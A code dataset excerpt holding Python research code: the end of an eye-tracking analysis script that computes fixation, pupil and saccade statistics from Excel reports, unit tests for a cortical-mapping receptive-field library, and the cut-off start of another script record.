get_rectangle_length_height(rectangle_IA_dict[trial['IA']], diag=True)\n interfix_xl, entirely_within, num_fix = get_interfixation_distance(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']])\n num_to_FG, num_to_BG, num_flips = count_number_flips(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']],\n freehand_IA_dict[trial['IA']])\n mean_durs, sum_durs, mean_durs_FG, sum_durs_FG, mean_durs_BG, sum_durs_BG = \\\n get_duration_details(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']],\n freehand_IA_dict[trial['IA']])\n trial['interfix_xl_dist'] = interfix_xl\n trial['IA_diag'] = diag\n trial['num_to_FG'] = num_to_FG\n trial['num_to_BG'] = num_to_BG\n trial['num_flips'] = num_flips\n trial['mean_durations'] = mean_durs\n trial['sum_durations'] = sum_durs\n trial['mean_FG_durations'] = mean_durs_FG\n trial['sum_FG_durations'] = sum_durs_FG\n trial['mean_BG_durations'] = mean_durs_BG\n trial['sum_BG_durations'] = sum_durs_BG\n if trial['interfix_xl_dist'] is None:\n trial['interfix_xl_dist_control'] = None\n else:\n trial['interfix_xl_dist_control'] = trial['interfix_xl_dist'] / diag\n\n\n trial['entirely_within'] = int(entirely_within)\n interfix_xl_seq, trash = get_distance_seq(trial['fixations_xl'], rectangle_IA_dict[trial['IA']])\n trial['interfix_xl_seq'] = interfix_xl_seq\n if trial['interfix_xl_seq'] is None:\n trial['interfix_xl_seq_control'] = None\n else:\n trial['interfix_xl_seq_control'] = trial['interfix_xl_seq'] / diag\n trial['num_fixations_xl'] = num_fix\n #print([i for i in trial['fixations_xl']])\n trial['mean_pupil_size'] = stat.mean([i['pupil_size'] for i in trial['fixations_xl']])\n\n # FG\n for session_number in STUDY_TEST:\n for trial_number, trial in STUDY_TEST[session_number].items():\n if 'fixations_xl' not in trial:\n continue\n trial['IA'] = trial['Distractor'][:-3] + 'ias'\n trial['IA'] = trial['IA'].replace('_Item', '')\n length, height, diag = get_rectangle_length_height(rectangle_IA_dict[trial['IA']], diag=True)\n interfix_xl, entirely_within, num_fix = get_interfixation_distance(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']],\n FG_ars=freehand_IA_dict[trial['IA']])\n\n\n trial['interfix_xl_dist_FG'] = interfix_xl\n trial['entirely_within_FG'] = int(entirely_within)\n if trial['interfix_xl_dist'] is None:\n trial['interfix_xl_dist_FG_control'] = None\n else:\n trial['interfix_xl_dist_FG_control'] = trial['interfix_xl_dist'] / diag\n trial['num_fixations_xl_FG'] = num_fix\n\n interfix_xl_BG, entirely_within_BG, num_fix_BG = get_interfixation_distance(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']],\n FG_ars=freehand_IA_dict[trial['IA']],\n BG=True)\n trial['interfix_xl_dist_BG'] = interfix_xl_BG\n trial['entirely_within_BG'] = int(entirely_within_BG)\n trial['num_fixations_xl_BG'] = num_fix_BG\n continue # TODO: update FG for seq in future\n interfix_xl_seq, trash = get_distance_seq(trial['fixations_xl'], rectangle_IA_dict[trial['IA']])\n trial['interfix_xl_seq'] = interfix_xl_seq\n if trial['interfix_xl_seq'] is None:\n trial['interfix_xl_seq_control'] = None\n else:\n trial['interfix_xl_seq_control'] = trial['interfix_xl_seq'] / diag\n #print([i for i in trial['fixations_xl']])\n trial['mean_pupil_size'] = stat.mean([i['pupil_size'] for i in trial['fixations_xl']])\n\ndef add_fixations_excel_FV_bullshit(STUDY_TEST, fix_report_path):\n print('Add_fixations_excel_FV bullshit:', fix_report_path)\n\n def get_distance(point1, point2,\n power_of=1): # cooper et al. 2017 used mean distance between all points to calculate interfix-d\n x1 = point1['x']\n y1 = point1['y']\n x2 = point2['x']\n y2 = point2['y']\n dist = math.sqrt((x1 - x2) ** 2 + (y1 - y2) ** 2)\n return dist ** power_of\n\n def get_interfixation_distance(trial_fixations, rectangle_ars, FG_ars=None):\n if len(trial_fixations) < 2:\n return None, True, \"\"\n if len(trial_fixations) > 40: # subject SK0454 trial 16 has a bug.\n # Trial 16 has 4041 fixations in it on the .xlsx.\n # It seems like all the fixations for all the future trials in this subject got\n # combined into trial 16, as after these 4041 fixations the .xlsx skips right to\n # the next subject.\n # This maybe happens more. It seems like this error get called 6 times\n # EDIT: this bug is also found in SK0449 in trials 39, 58, 77 but the rest of\n # the subject's trials still seem to work.\n # Subject 418 has issues with like 4 trials, and SK0605 with trial 39.\n # SK0503 with trial 56. Maybe more. These mostly are issues over 100,\n # but I lowered the threshold to 40 after this, and I didn't want to go through\n # the problematic (>40) subjects and trials\n print('ERROR #66 - session', session_number, ', trial #', trial_number, 'has', len(trial_fixations),\n 'fixations in it.')\n return None, True, \"\"\n sum_d = 0\n Z = 0\n cnt = 0\n entirely_within = True\n for i in range(1, len(trial_fixations)):\n if is_point_in_IA(trial_fixations[i], rectangle_ars) and FG_ars is None:\n cnt += 1\n if FG_ars is not None:\n if is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars):\n cnt += 1\n for j in range(i + 1, len(trial_fixations)):\n if FG_ars is not None:\n if is_point_in_IA(trial_fixations[i], FG_ars, rectangle=rectangle_ars) \\\n and is_point_in_IA(trial_fixations[j], FG_ars, rectangle=rectangle_ars):\n sum_d += get_distance(trial_fixations[i], trial_fixations[j])\n Z += 1\n else:\n entirely_within = False\n else:\n if is_point_in_IA(trial_fixations[i], rectangle_ars) and is_point_in_IA(trial_fixations[j],\n rectangle_ars):\n sum_d += get_distance(trial_fixations[i], trial_fixations[j])\n Z += 1\n else:\n entirely_within = False # entirely within describes whether the subjects' entire scan path was\n # within the image (ie. within the rectangle IA)\n if Z == 0:\n return None, entirely_within, cnt\n else:\n return sum_d / Z, entirely_within, cnt\n\n def get_distance_seq(trial_fixations, rectangle_ars):\n if len(trial_fixations) < 2 or len(trial_fixations) > 100:\n return None, True\n\n sum_d = 0\n Z = 0\n entirely_within = True\n\n for i in range(0, len(trial_fixations) - 1):\n if is_point_in_IA(trial_fixations[i], rectangle_ars) and is_point_in_IA(trial_fixations[i + 1],\n rectangle_ars):\n sum_d += get_distance(trial_fixations[i], trial_fixations[i + 1])\n Z += 1\n else:\n entirely_within = False\n if Z == 0:\n return None, entirely_within\n else:\n\n return sum_d / Z, entirely_within\n\n if isfile(fix_report_path[:-4] + 'pkl') and 'FV' not in fix_report_path:\n df = pickle.load(open(fix_report_path[:-4] + 'pkl', 'rb'))\n else:\n df = pd.read_excel(fix_report_path)\n with open(fix_report_path[:-4] + 'pkl', 'wb') as file:\n pickle.dump(df, file)\n\n clear_prev_values(STUDY_TEST, 'fixations_xl')\n\n session_number = ''\n for index, row in tqdm(df.iterrows()):\n new_sess = get_session_label(row, fix_report_path)\n if new_sess != session_number:\n print('Moving onto session number:', new_sess)\n session_number = new_sess\n if session_number not in STUDY_TEST:\n continue\n\n brok_out = False\n for trial in STUDY_TEST[session_number].values():\n if row['CURRENT_FIX_INTEREST_AREA_LABEL'] == '.':\n continue\n if row['CURRENT_FIX_INTEREST_AREA_LABEL'].replace('_BG', '').replace('IA', '') in trial['Distractor']:\n brok_out = True\n break\n alt = row['CURRENT_FIX_INTEREST_AREA_LABEL'].replace('_BG', '').replace('IA', '')\n alt = alt[:-1] + 'ps'\n if alt in trial['Distractor']:\n brok_out = True\n break\n if not brok_out:\n continue\n alt = row['CURRENT_FIX_INTEREST_AREA_LABEL'].replace('_BG', '').replace('IA', '')\n alt = alt[:-1] + 'ps'\n if row['CURRENT_FIX_INTEREST_AREA_LABEL'].replace('_BG', '').replace('IA', '') not in trial['Distractor'] and \\\n alt not in trial['Distractor']:\n print(fix_report_path)\n print('Not aligned:', row['CURRENT_FIX_INTEREST_AREA_LABEL'])\n print('st:', trial['Distractor'])\n print(session_number)\n print()\n\n fixation = {'x': row['CURRENT_FIX_X'], 'y': row['CURRENT_FIX_Y'], 'pupil_size': row['CURRENT_FIX_PUPIL'],\n 'duration': row['CURRENT_FIX_DURATION'], 'start': row['CURRENT_FIX_START'],\n 'end': row['CURRENT_FIX_END']}\n if 'fixations_xl' not in trial:\n trial['fixations_xl'] = []\n trial['fixations_xl'].append(fixation)\n if 'SK' in fix_report_path:\n is_sk = 'SK_'\n else:\n is_sk = ''\n file = open('IAs_with_BG_IA\\\\' + is_sk + 'rectangle_freehand_IA_dict.pkl', 'rb')\n freehand_and_rectangle_IA_dict = pickle.load(file)\n file.close()\n rectangle_IA_dict = freehand_and_rectangle_IA_dict['rectangle']\n freehand_IA_dict = freehand_and_rectangle_IA_dict['freehand']\n for session_number in STUDY_TEST:\n for trial_number, trial in STUDY_TEST[session_number].items():\n if 'fixations_xl' not in trial:\n continue\n trial['IA'] = trial['Distractor'][:-3] + 'ias'\n trial['IA'] = trial['IA'].replace('_Item', '')\n length, height, diag = get_rectangle_length_height(rectangle_IA_dict[trial['IA']], diag=True)\n interfix_xl, entirely_within, num_fix = get_interfixation_distance(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']])\n num_to_FG, num_to_BG, num_flips = count_number_flips(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']],\n freehand_IA_dict[trial['IA']])\n mean_durs, sum_durs, mean_durs_FG, sum_durs_FG, mean_durs_BG, sum_durs_BG = \\\n get_duration_details(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']],\n freehand_IA_dict[trial['IA']])\n\n trial['num_to_FG'] = num_to_FG\n trial['num_to_BG'] = num_to_BG\n trial['num_flips'] = num_flips\n trial['mean_durations'] = mean_durs\n trial['sum_durations'] = sum_durs\n trial['mean_FG_durations'] = mean_durs_FG # duration is problematic because the last fixation's duration may\n # bleed into the non-image screen\n trial['sum_FG_durations'] = sum_durs_FG\n trial['mean_BG_durations'] = mean_durs_BG\n trial['sum_BG_durations'] = sum_durs_BG\n\n trial['interfix_xl_dist'] = interfix_xl\n trial['IA_diag'] = diag\n if trial['interfix_xl_dist'] is None:\n trial['interfix_xl_dist_control'] = None\n else:\n trial['interfix_xl_dist_control'] = trial['interfix_xl_dist'] / diag\n\n trial['entirely_within'] = int(entirely_within)\n interfix_xl_seq, trash = get_distance_seq(trial['fixations_xl'], rectangle_IA_dict[trial['IA']])\n trial['interfix_xl_seq'] = interfix_xl_seq\n if trial['interfix_xl_seq'] is None:\n trial['interfix_xl_seq_control'] = None\n else:\n trial['interfix_xl_seq_control'] = trial['interfix_xl_seq'] / diag\n trial['num_fixations_xl'] = num_fix\n # print([i for i in trial['fixations_xl']])\n trial['mean_pupil_size'] = stat.mean([i['pupil_size'] for i in trial['fixations_xl']])\n\n # FG\n for session_number in STUDY_TEST:\n for trial_number, trial in STUDY_TEST[session_number].items():\n if 'fixations_xl' not in trial:\n continue\n trial['IA'] = trial['Distractor'][:-3] + 'ias'\n trial['IA'] = trial['IA'].replace('_Item', '')\n length, height, diag = get_rectangle_length_height(rectangle_IA_dict[trial['IA']], diag=True)\n interfix_xl, entirely_within, num_fix = get_interfixation_distance(trial['fixations_xl'],\n rectangle_IA_dict[trial['IA']],\n FG_ars=freehand_IA_dict[trial['IA']])\n trial['interfix_xl_dist_FG'] = interfix_xl\n if trial['interfix_xl_dist'] is None:\n trial['interfix_xl_dist_FG_control'] = None\n else:\n trial['interfix_xl_dist_FG_control'] = trial['interfix_xl_dist'] / diag\n trial['num_fixations_xl_FG'] = num_fix\n try:\n trial['num_fixations_xl_BG'] = int(trial['num_fixations_xl']) - int(trial['num_fixations_xl_FG'])\n except:\n trial['num_fixations_xl_BG'] = None\n\n continue # TODO: update FG for seq in future\n interfix_xl_seq, trash = get_distance_seq(trial['fixations_xl'], rectangle_IA_dict[trial['IA']])\n trial['interfix_xl_seq'] = interfix_xl_seq\n if trial['interfix_xl_seq'] is None:\n trial['interfix_xl_seq_control'] = None\n else:\n trial['interfix_xl_seq_control'] = trial['interfix_xl_seq'] / diag\n # print([i for i in trial['fixations_xl']])\n trial['mean_pupil_size'] = stat.mean([i['pupil_size'] for i in trial['fixations_xl']])\n\ndef add_sacades_excel(STUDY_TEST, sac_report_path):\n if 'SK' in sac_report_path:\n is_sk = 'SK_'\n else:\n is_sk = ''\n file = open('IAs_with_BG_IA\\\\' + is_sk + 'rectangle_freehand_IA_dict.pkl', 'rb')\n freehand_and_rectangle_IA_dict = pickle.load(file)\n file.close()\n rectangle_IA_dict = freehand_and_rectangle_IA_dict['rectangle']\n\n if isfile(sac_report_path[:-4] + 'pkl') and False:\n df = pickle.load(open(sac_report_path[:-4] + 'pkl', 'rb'))\n else:\n df = pd.read_excel(sac_report_path)\n with open(sac_report_path[:-4] + 'pkl', 'wb') as file:\n pickle.dump(df, file)\n clear_prev_values(STUDY_TEST, 'saccades_xl')\n add_key_to_all_trials(STUDY_TEST, 'error_saccade', False)\n for index, row in df.iterrows():\n session_number = get_session_label(row, sac_report_path)\n trial_number = row['TRIAL_INDEX']\n if trial_number < 5:\n continue\n if session_number not in STUDY_TEST:\n continue\n if trial_number not in STUDY_TEST[session_number]:\n continue\n trial = STUDY_TEST[session_number][trial_number]\n saccade = {'velocity': row['CURRENT_SAC_AVG_VELOCITY'],\n 'duration': row['CURRENT_SAC_DURATION']}\n if saccade['velocity'] == '.' or saccade['duration'] == '.':\n trial['error_saccade'] = True\n continue\n if 'saccades_xl' not in trial:\n trial['saccades_xl'] = []\n trial['IA'] = trial['Distractor'][:-3] + 'ias'\n trial['IA'] = trial['IA'].replace('_Item', '')\n trial['saccades_xl'].append(saccade)\n trial['mean_sac_velocity'] = stat.mean([i['velocity'] for i in trial['saccades_xl']])\n length, height, diag = get_rectangle_length_height(rectangle_IA_dict[trial['IA']], diag=True)\n if trial['mean_sac_velocity'] is None:\n trial['mean_sac_velocity_control'] = None\n else:\n trial['mean_sac_velocity_control'] = trial['mean_sac_velocity'] / diag\n\ndef isPointInPath(x, y, poly):\n # FROM: https://en.wikipedia.org/wiki/Even%E2%80%93odd_rule\n \"\"\"\n x, y -- x and y coordinates of point\n poly -- a list of tuples [(x, y), (x, y), ...]\n \"\"\"\n num = len(poly)\n i = 0\n j = num - 1\n c = False\n for i in range(num):\n if ((poly[i][1] > y) != (poly[j][1] > y)) and \\\n (x < poly[i][0] + (poly[j][0] - poly[i][0]) * (y - poly[i][1]) /\n (poly[j][1] - poly[i][1])):\n c = not c\n j = i\n return c\n\ndef is_point_in_IA(point, IA_ars, rectangle=None):\n if rectangle is None:\n # thus IA_ars = rectangle_IA_ar\n x = point['x']\n y = point['y']\n is_in = False\n if isPointInPath(x, y, IA_ars):\n is_in = True\n return is_in\n else:\n x = point['x']\n y = point['y']\n #y = rectangle[0][1] - (point['y'] - rectangle[3][1])\n is_in = False\n if len(IA_ars[0]) > 2:\n for IA_ar in IA_ars:\n if isPointInPath(x, y, IA_ar):\n is_in = True\n else:\n if isPointInPath(x, y, IA_ars):\n is_in = True\n return is_in\n\ndef calculate_IA_percentages(dict):\n print('Starting calculate_IA_percentages...')\n for session_number in dict:\n for trial_number in dict[session_number]:\n count_in = 0\n count_out = 0\n for sample in dict[session_number][trial_number]['samples']:\n if sample['in IA']:\n count_in += 1\n else:\n count_out += 1\n dict[session_number][trial_number]['IA percentage'] = count_in / (count_in + count_out)\n return\n\ndef add_key_to_all_trials(STUDY_TEST, key, val):\n for session in STUDY_TEST.values():\n for trial in session.values():\n trial[key] = val\n\ndef main():\n file = open('STUDY_TEST_dispersion.pkl', 'rb')\n STUDY_TEST = pickle.load(file)\n file.close()\n\ndef combine_STUDY_TESTS(list_of):\n super_STUDY_TEST = {}\n for STUDY_TEST in list_of:\n for session_number in STUDY_TEST:\n session = STUDY_TEST[session_number]\n super_STUDY_TEST[session_number] = session\n return super_STUDY_TEST\n\ndef number_of_emo_in_a_row(STUDY_TEST):\n for subject in STUDY_TEST.values():\n neu_in_a_row = 0\n emo_in_a_row = 0\n FG_in_a_row = 0\n BG_in_a_row = 0\n emo_BG_in_a_row = 0\n emo_FG_in_a_row = 0\n neu_BG_in_a_row = 0\n neu_FG_in_a_row = 0\n for trial in subject.values():\n if 'emotionality' not in trial:\n print('ERROR EMO not in trial')\n continue\n trial['emo_in_a_row'] = emo_in_a_row\n trial['neu_in_a_row'] = neu_in_a_row\n trial['FG_in_a_row'] = FG_in_a_row\n trial['BG_in_a_row'] = BG_in_a_row\n trial['emo_BG_in_a_row'] = emo_BG_in_a_row\n trial['emo_FG_in_a_row'] = emo_FG_in_a_row\n trial['neu_BG_in_a_row'] = neu_BG_in_a_row\n trial['neu_FG_in_a_row'] = neu_FG_in_a_row\n\n if trial['emotionality'] == 'emo':\n neu_in_a_row = 0\n emo_in_a_row += 1\n elif trial['emotionality'] == 'neu':\n neu_in_a_row += 1\n emo_in_a_row = 0\n if trial['attn'] == 'FG':\n FG_in_a_row += 1\n BG_in_a_row = 0\n elif trial['attn'] == 'BG':\n BG_in_a_row += 1\n FG_in_a_row = 0\n\n if trial['distrtype'] == 'emo_FG':\n emo_BG_in_a_row = 0\n emo_FG_in_a_row += 1\n neu_BG_in_a_row = 0\n neu_FG_in_a_row = 0\n elif trial['distrtype'] == 'emo_BG':\n emo_BG_in_a_row += 1\n emo_FG_in_a_row = 0\n neu_BG_in_a_row = 0\n neu_FG_in_a_row = 0\n elif trial['distrtype'] == 'neu_FG':\n emo_BG_in_a_row = 0\n emo_FG_in_a_row = 0\n neu_BG_in_a_row = 0\n neu_FG_in_a_row += 1\n elif trial['distrtype'] == 'neu_BG':\n emo_BG_in_a_row = 0\n emo_FG_in_a_row = 0\n neu_BG_in_a_row += 1\n neu_FG_in_a_row = 0\n\ndef main2():\n def process_saccades_and_fixations(STUDY_TEST_path, fix_path, saccade_path):\n print('Loading',STUDY_TEST_path,'...')\n file = open(STUDY_TEST_path, 'rb')\n STUDY_TEST = pickle.load(file)\n file.close()\n print('Loaded.')\n STUDY_TEST.pop('SK0589', '') # this subject doesn't have their encoding data\n #number_of_emo_in_a_row(STUDY_TEST)\n if 'FV' in fix_path or 'SK' in fix_path:\n add_fixations_excel_FV_bullshit(STUDY_TEST, fix_path)\n else:\n add_fixations_excel(STUDY_TEST, fix_path)\n add_false_alarm_stats(STUDY_TEST)\n z_standardize_var(STUDY_TEST, key='mean_pupil_size')\n #add_sacades_excel(STUDY_TEST, saccade_path)\n print('Dumping...')\n with open(STUDY_TEST_path, 'wb') as file:\n pickle.dump(STUDY_TEST, file)\n return STUDY_TEST\n STUDY_TESTs = []\n if False:\n STUDY_TESTs.append(process_saccades_and_fixations('STUDY_TESTs/SK.pkl',\n 'Fixation_Files/PB_SK_FixationReport_n22.xlsx',\n 'Fixation_Files/PB_SK_SaccadeReport_n22.xlsx'))\n if False:\n FV_ST = process_saccades_and_fixations('STUDY_TESTs/FV.pkl',\n 'Fixation_Files/PB_FV_Study_FixationReport_n34.xlsx',\n 'Fixation_Files/PB_FV_Study_Saccade_Report_n34.xlsx')\n add_samples_excel(FV_ST,\n 'E:\\\\Users\\\\paulc\\PycharmProjects\\EmoRage\\Fixation_Files\\\\PB_FVStudy_TimeCourse_Report_n34.xlsx')\n STUDY_TESTs.append(FV_ST)\n if True:\n FA_ST = process_saccades_and_fixations('STUDY_TESTs/FA.pkl',\n 'Fixation_Files/PB_FixationReport.xlsx',\n 'Fixation_Files/PB_SaccadeReport.xlsx')\n add_samples_excel(FA_ST, 'Paul_TimeCourses\\\\Paul_TimeCourse_0001_0045.xlsx')\n with open('STUDY_TESTs\\\\FA2.pkl', 'wb') as file:\n pickle.dump(FA_ST, file)\n STUDY_TESTs.append(FA_ST)\n\n# C:\\Users\\paulc\\PycharmProjects\\EmoRage\\Fixation_Files\n super_STUDY_TEST = combine_STUDY_TESTS(STUDY_TESTs)\n with open('skip_first.pkl', 'wb') as file:\n pickle.dump(super_STUDY_TEST, file)\n make_excel(super_STUDY_TEST, 'z_score_pupils_time')\n\n return\nimport openpyxl\nmain2()\n#main()\n","sub_path":"eye_xl_to_trie.py","file_name":"eye_xl_to_trie.py","file_ext":"py","file_size_in_byte":46084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"417820008","text":"import corticalmapping.core.ImageAnalysis\n\n__author__ = 'junz'\n\n\nimport os\nimport h5py\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport corticalmapping.SingleCellAnalysis as sca\nimport corticalmapping.core.ImageAnalysis\n\nimport corticalmapping.core.FileTools as ft\n\nplt.ioff()\ncurrFolder = os.path.dirname(os.path.realpath(__file__))\ntestDataFolder = os.path.join(currFolder,'data')\n\nsparseNoiseDisplayLogPath = os.path.join(testDataFolder,'SparseNoiseDisplayLog.pkl')\ntestH5Path = os.path.join(testDataFolder,'test.hdf5')\nSTRFDataPath = os.path.join(testDataFolder,'cellsSTRF.hdf5')\n\n\nprint(sparseNoiseDisplayLogPath)\ndef test_mergeROIs():\n roi1 = corticalmapping.core.ImageAnalysis.WeightedROI(np.arange(9).reshape((3, 3)))\n roi2 = corticalmapping.core.ImageAnalysis.WeightedROI(np.arange(1, 10).reshape((3, 3)))\n\n merged_ROI = sca.merge_weighted_rois(roi1, roi2)\n merged_ROI2 = sca.merge_binary_rois(roi1, roi2)\n\n assert(np.array_equal(merged_ROI.get_weighted_mask(), np.arange(1, 18, 2).reshape((3, 3))))\n assert(np.array_equal(merged_ROI2.get_binary_mask(), np.ones((3, 3))))\n\ndef test_getSparseNoiseOnsetIndex():\n allOnsetInd, onsetIndWithLocationSign = sca.get_sparse_noise_onset_index(ft.loadFile(sparseNoiseDisplayLogPath))\n # print list(allOnsetInd[0:10])\n # print onsetIndWithLocationSign[2][0]\n assert(list(allOnsetInd[0:10])==[0, 6, 12, 18, 24, 30, 36, 42, 48, 54])\n assert(np.array_equal(onsetIndWithLocationSign[2][0],np.array([0., 70.])))\n\ndef test_SpatialTemporalReceptiveField_from_h5_group():\n f = h5py.File(STRFDataPath)\n STRF = sca.SpatialTemporalReceptiveField.from_h5_group(f['cell0003']['spatial_temporal_receptive_field'])\n trace = np.array(STRF.data['traces'][20])\n assert((float(trace[4, 8])+0.934942364693) < 1e-10)\n # STRF.plot_traces(figSize=(15,10),yRange=[-5,50],columnSpacing=0.002,rowSpacing=0.002)\n\ndef test_ROI():\n a = np.zeros((10,10))\n a[5:7,3:6]=1\n a[8:9,7:10]=np.nan\n roi = corticalmapping.core.ImageAnalysis.ROI(a)\n # plt.imshow(roi.get_binary_mask(),interpolation='nearest')\n assert(list(roi.get_center()) == [5.5, 4.])\n\ndef test_ROI_getBinaryTrace():\n mov = np.random.rand(5,4,4); mask = np.zeros((4,4)); mask[2,3]=1; trace1 = mov[:,2,3]\n roi = corticalmapping.core.ImageAnalysis.ROI(mask);trace2 = roi.get_binary_trace(mov)\n assert(np.array_equal(trace1,trace2))\n\ndef test_WeigthedROI_getWeightedCenter():\n aa = np.random.rand(5,5); mask = np.zeros((5,5))\n mask[2,3]=aa[2,3]; mask[1,4]=aa[1,4]; mask[3,4]=aa[3,4]\n roi = corticalmapping.core.ImageAnalysis.WeightedROI(mask); center = roi.get_weighted_center()\n assert(center[0] == (2*aa[2,3]+1*aa[1,4]+3*aa[3,4])/(aa[2,3]+aa[1,4]+aa[3,4]))\n\ndef test_plot_ROIs():\n aa = np.zeros((50,50));aa[15:20,30:35] = np.random.rand(5,5)\n roi1 = corticalmapping.core.ImageAnalysis.ROI(aa)\n _ = roi1.plot_binary_mask_border(); _ = roi1.plot_binary_mask()\n roi2 = corticalmapping.core.ImageAnalysis.WeightedROI(aa)\n _ = roi2.plot_binary_mask_border(); _ = roi2.plot_binary_mask(); _ = roi2.plot_weighted_mask()\n\ndef test_WeightedROI_getWeightedCenterInCoordinate():\n aa = np.zeros((5,5));aa[1:3,2:4] = 0.5\n roi = corticalmapping.core.ImageAnalysis.WeightedROI(aa)\n assert(list(roi.get_weighted_center_in_coordinate(list(range(2, 7)), list(range(1, 6)))) == [3.5, 3.5])\n\ndef test_SpatialTemporalReceptiveField():\n locations = [[3.0, 4.0], [3.0, 5.0], [2.0, 4.0], [2.0, 5.0],[3.0, 4.0], [3.0, 5.0], [2.0, 4.0], [2.0, 5.0]]\n signs = [1,1,1,1,-1,-1,-1,-1]\n traces=[[np.arange(4)],[np.arange(1,5)],[np.arange(2,6)],[np.arange(3,7)],[np.arange(5,9)],[np.arange(6,10)],\n [np.arange(7,11)],[np.arange(8,12)]]\n traces=[np.array(t) for t in traces]\n time = np.arange(4,8)\n STRF = sca.SpatialTemporalReceptiveField(locations,signs,traces,time)\n assert(STRF.data['traces'][0][0][1]==8)\n assert(STRF.data['sign'][4]==1)\n assert(np.array_equal(STRF.get_locations()[2], np.array([3., 4., -1.])))\n newLocations = [[location[0]+1,location[1]+1] for location in locations[0:4]]\n newSigns = [1,1,1,1]\n STRF.add_traces(newLocations, newSigns, traces[0:4])\n assert(STRF.data['traces'][7][1][2]==4)\n # _ = STRF.plot_traces()\n\ndef test_SpatialTemporalReceptiveField_IO():\n locations = [[3.0, 4.0], [3.0, 5.0], [2.0, 4.0], [2.0, 5.0],[3.0, 4.0], [3.0, 5.0], [2.0, 4.0], [2.0, 5.0]]\n signs = [1,1,1,1,-1,-1,-1,-1]\n traces=[[np.arange(4)],[np.arange(1,5)],[np.arange(2,6)],[np.arange(3,7)],[np.arange(5,9)],[np.arange(6,10)],[np.arange(7,11)],[np.arange(8,12)]]\n time = np.arange(4,8)\n\n STRF = sca.SpatialTemporalReceptiveField(locations,signs,traces,time)\n if os.path.isfile(testH5Path):os.remove(testH5Path)\n testFile = h5py.File(testH5Path)\n STRFGroup = testFile.create_group('spatial_temporal_receptive_field')\n STRF.to_h5_group(STRFGroup)\n testFile.close()\n\n h5File = h5py.File(testH5Path)\n STRF = sca.SpatialTemporalReceptiveField.from_h5_group(h5File['spatial_temporal_receptive_field'])\n h5File.close()\n assert(STRF.data['traces'][3][0][1]==7)\n\ndef test_SpatialTemporalReceptiveField_getAmpLitudeMap():\n f = h5py.File(STRFDataPath)\n STRF = sca.SpatialTemporalReceptiveField.from_h5_group(f['cell0003']['spatial_temporal_receptive_field'])\n ampON, ampOFF, altPos, aziPos = STRF.get_amplitude_map()\n assert(ampON[7,10]-(-0.0258248019964) < 1e-10)\n assert(ampOFF[8,9]-(-0.501572728157) < 1e-10)\n assert(altPos[5]==30.)\n assert(aziPos[3]==-5.)\n # sca.plot_2d_receptive_field(ampON,altPos,aziPos,cmap='gray_r',interpolation='nearest')\n\ndef test_SpatialTemporalReceptiveField_getZscoreMap():\n f = h5py.File(STRFDataPath)\n STRF = sca.SpatialTemporalReceptiveField.from_h5_group(f['cell0003']['spatial_temporal_receptive_field'])\n zscoreON, zscoreOFF, altPos, aziPos = STRF.get_zscore_map()\n assert(zscoreON[7,10]-(-0.070735671412) < 1e-10)\n assert(zscoreOFF[8,9]-(-0.324245551387) < 1e-10)\n # sca.plot_2d_receptive_field(ampON,altPos,aziPos,cmap='gray_r',interpolation='nearest')\n\ndef test_SpatialTemporalReceptiveField_getCenters():\n f = h5py.File(STRFDataPath)\n STRF = sca.SpatialTemporalReceptiveField.from_h5_group(f['cell0003']['spatial_temporal_receptive_field'])\n assert(STRF.get_zscore_roi_centers()[1][1] - (-2.1776047950146622) < 1e-10)\n\ndef test_SpatialTemporalReceptiveField_getAmplitudeReceptiveField():\n f = h5py.File(STRFDataPath)\n STRF = sca.SpatialTemporalReceptiveField.from_h5_group(f['cell0003']['spatial_temporal_receptive_field'])\n ampRFON, ampRFOFF = STRF.get_amplitude_receptive_field()\n assert(ampRFON.sign==1);assert(ampRFOFF.sign==-1)\n assert(ampRFOFF.get_weighted_mask()[7, 9] - 3.2014527 < 1e-7)\n\ndef test_SpatialTemporalReceptiveField_getZscoreReceptiveField():\n f = h5py.File(STRFDataPath)\n STRF = sca.SpatialTemporalReceptiveField.from_h5_group(f['cell0003']['spatial_temporal_receptive_field'])\n zscoreRFON, zscoreRFOFF = STRF.get_zscore_receptive_field()\n assert(zscoreRFON.sign==1);assert(zscoreRFOFF.sign==-1)\n assert(zscoreRFOFF.get_weighted_mask()[7, 9] - 1.3324414 < 1e-7)\n\ndef test_SpatialTemporalReceptiveField_shrink():\n f = h5py.File(STRFDataPath)\n STRF = sca.SpatialTemporalReceptiveField.from_h5_group(f['cell0003']['spatial_temporal_receptive_field'])\n STRF.shrink([-10,10],None)\n assert(np.array_equal(np.unique(np.array(STRF.get_locations())[:, 0]), np.array([-10., -5., 0., 5., 10.])))\n STRF.shrink(None,[0,20])\n assert(np.array_equal(np.unique(np.array(STRF.get_locations())[:, 1]), np.array([0., 5., 10., 15., 20.])))\n\ndef test_SpatialReceptiveField():\n SRF = sca.SpatialReceptiveField(np.arange(9).reshape((3,3)),np.arange(3),np.arange(3))\n assert(np.array_equal(SRF.weights,np.arange(1,9)))\n\ndef test_SpatialReceptiveField_thresholdReceptiveField():\n SRF = sca.SpatialReceptiveField(np.arange(9).reshape((3,3)),np.arange(3),np.arange(3))\n thresholdedSRF=SRF.threshold_receptive_field(4)\n assert(np.array_equal(thresholdedSRF.weights,np.arange(4,9)))\n\ndef test_SpatialReceptiveField_interpolate():\n SRF = sca.SpatialReceptiveField(np.random.rand(5,5),np.arange(5)[::-1],np.arange(5))\n SRF.interpolate(5)\n assert(SRF.get_weighted_mask().shape == (20, 20))\n\nplt.show()\n\nif __name__ == '__main__':\n test_SpatialTemporalReceptiveField_getAmpLitudeMap()\n\n","sub_path":"corticalmapping/test/test_SingleCellAnalysis.py","file_name":"test_SingleCellAnalysis.py","file_ext":"py","file_size_in_byte":8397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"71174526","text":"\"\"\"\nMZ: a standalone EM algorithm\npython3 run_em.py example.pars\n\n\nNOTE: comments below are not up to date. REVIEW!!!!\n\nA Chronostar script that runs 